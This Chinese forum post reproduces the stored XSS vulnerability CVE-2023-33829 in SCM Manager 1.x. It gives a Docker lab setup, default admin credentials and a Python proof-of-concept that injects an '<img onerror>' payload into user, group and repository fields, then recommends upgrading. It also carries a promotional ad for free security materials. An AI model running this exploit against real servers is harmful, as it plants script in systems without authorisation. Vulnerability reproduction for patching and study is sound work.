SCM Manager XSS漏洞复现(CVE-2023-33829)

打印 上一主题 下一主题

主题 877|帖子 877|积分 2631

一、漏洞描述

漏洞简述

SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。
该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。
漏洞影响范围

供应商:Cloudogu
产品:SCM Manager
确认受影响版本:SCM Manager 1.2 1.60 最新版本为2.43.1
二、漏洞复现实战

环境搭建

docker镜像:
https://bitbucket.org/sdorra/docker-scm-manager/src/master/
利用shell脚本搭建
shell:
  1. #!/bin/bash
  2. mkdir /var/lib/scm
  3. chown 1000:1000 /var/lib/scm
  4. docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager
复制代码
漏洞复现

首先访问SCM Manager,需身份认证
Username : scmadmin Password: scmadmin
[img=720,381.7162276975361]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306061504318.png[/img]
repositories

repository功能下Description字段该漏洞可利用
创建新repository,并payload进行利用
Git类型:
[img=720,437.625]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306061504320.png[/img]
Subversion类型:
[img=720,506.3322884012539]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306061504322.png[/img]
Users

User功能下Display Name字段该漏洞可利用
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
创建新repository,并payload进行利用
[img=720,545.0980392156863]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306061504323.png[/img]
[img=720,552.2637362637363]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306061504324.png[/img]
可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功
Groups

Group功能下Description字段该漏洞可利用
[img=720,562.3240223463687]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306061504325.png[/img]
另外可以根据POC进行利用
POC:
  1. import requests
  2. import argparse
  3. import sys
  4. # Main menu
  5. parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
  6. parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
  7. parser.add_argument("-p", "--password", help="password of the user")
  8. args = parser.parse_args()
  9. # Credentials
  10. user = sys.argv[2]
  11. password = sys.argv[4]
  12. # Global Variables
  13. main_url = "http://localhost:8080/scm" # Change URL if its necessary
  14. auth_url = main_url + "/api/rest/authentication/login.json"
  15. users = main_url + "/api/rest/users.json"
  16. groups = main_url + "/api/rest/groups.json"
  17. repos = main_url + "/api/rest/repositories.json"
  18. # Create a session
  19. session = requests.Session()
  20. # Credentials to send
  21. post_data={
  22.  'username': user, # change if you have any other user with write permissions
  23.  'password': password # change if you have any other user with write permissions
  24. }
  25. r = session.post(auth_url, data=post_data)
  26. if r.status_code == 200:
  27.  print("[+] Authentication successfully")
  28. else:
  29.  print("[-] Failed to authenticate")
  30.  sys.exit(1)
  31. new_user={
  32.  "name": "newUser",
  33.  "displayName": "<img src=x onerror=alert('XSS')>",
  34.  "mail": "",
  35.  "password": "",
  36.  "admin": False,
  37.  "active": True,
  38.  "type": "xml"
  39. }
  40. create_user = session.post(users, json=new_user)
  41. print("[+] User with XSS Payload created")
  42. new_group={
  43.  "name": "newGroup",
  44.  "description": "<img src=x onerror=alert('XSS')>",
  45.  "type": "xml"
  46. }
  47. create_group = session.post(groups, json=new_group)
  48. print("[+] Group with XSS Payload created")
  49. new_repo={
  50.  "name": "newRepo",
  51.  "type": "svn",
  52.  "contact": "",
  53.  "description": "<img src=x onerror=alert('XSS')>",
  54.  "public": False
  55. }
  56. create_repo = session.post(repos, json=new_repo)
  57. print("[+] Repository with XSS Payload created")
复制代码
漏洞修复

建议更新至SCM Manager最新版本,目前为2.43.1
结束语

本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。
本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

水军大提督

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表